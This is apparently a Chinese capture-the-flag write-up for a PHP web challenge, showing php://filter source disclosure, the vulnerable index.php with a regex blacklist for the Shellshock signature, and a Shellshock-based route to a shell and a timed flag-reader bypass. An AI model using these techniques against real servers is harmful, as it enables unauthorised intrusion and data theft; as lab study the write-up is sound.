首先打开页面,发现导航栏中有几个选项。每个都点了一下之后,发现其用处。
Man
:用来列出相关命令的文档index.php?func=man
Tar Tester
:用来测试上传的tar文件index.php?func=untar
1.tar
测试这里的tar -tvf
并不会将文件解压到某个位置,所以没有什么可以利用的点。
Cmd Exec
:用来执行命令并返回结果index.php?func=cmd
例如ls
也能执行其它一些命令但是有限制,例如whoami
就不会被运行。
这里猜测这个功能做了白名单进行限制,这里没有源码,所以也认为没有可以用的点。
List files
:列文件目录index.php?func=ls
例如当前目录
其中存在一个cat-flag.png
很引人注目。接着又翻了翻其它的目录,其中/
情况如下。
/
目中存在一个flag
,并且还有个flag-reader
二进制程序,还启用了s
权限,这样就能感觉的出来前面的cat-flag.png
应该一个幌子。
功能就是上面这些。其实这个时候结合当前目录文件和功能的url已经可以做出一个推断:即调用功能的页面可能是以一个文件包含的形式。这样那么大概形式就应该是include($x.'.php');
。
因而这里利用php://filter
进行流式读取。
func=php://filter/read=convert.base64-encode/resource=index
func=php://filter/read=convert.base64-encode/resource=ls
func=php://filter/read=convert.base64-encode/resource=cmd
func=php://filter/read=convert.base64-encode/resource=man
func=php://filter/read=convert.base64-encode/resource=untar
这样就得到了5个功能页面的源码(包括index.php)。
其中man.php|ls.php|untar.php
都没有可以利用的点,cmd.php
和预期的那样是做了个白名单。其中cmd.php
的白名单如下。
这个地方可以使用cat flag
查看是不是有什么提示之类的,虽然很大可能性就是个幌子。
果然什么都没有。那么就看到index.php
的源码。
...
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
$page = '';
if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}
if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
function render_default() { ?>
其中$black_list
禁用了/flag
和\(\)\s*\{\s*:;\s*\};
,第一个好理解,把第二个做个简化处理变成() { :; }
。如果熟悉CVE 2014-6271
的话,其实看到putenv
就能反应过来是个破壳漏洞利用。加上这里的黑名单提示和之前的cmd
中允许执行env
命令也能够推断出这个漏洞。(关于破壳漏洞)
先读取个/etc/passwd
测试。
这里也可以先读取flag-reader.c
,看看是不是执行个命令就完事了。
flag-reader.c
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}
setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));
if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}
这里的alarm
已经说明只能在一秒之内输出转变为输入才能去读取/flag
这个文件。因而还是反弹shell回来处理为妙。
关于flag-reader.c
的绕过,就只需要找个可以写文件的目录,写入输出再读作输入就能解决。
这里的/tmp
是不可读的。
找到/var/tmp
是可以写入文件的。
payload:
./flag-reader > /var/tmp/idlefire < /var/tmp/idlefire /flag
这样这道题就结束了。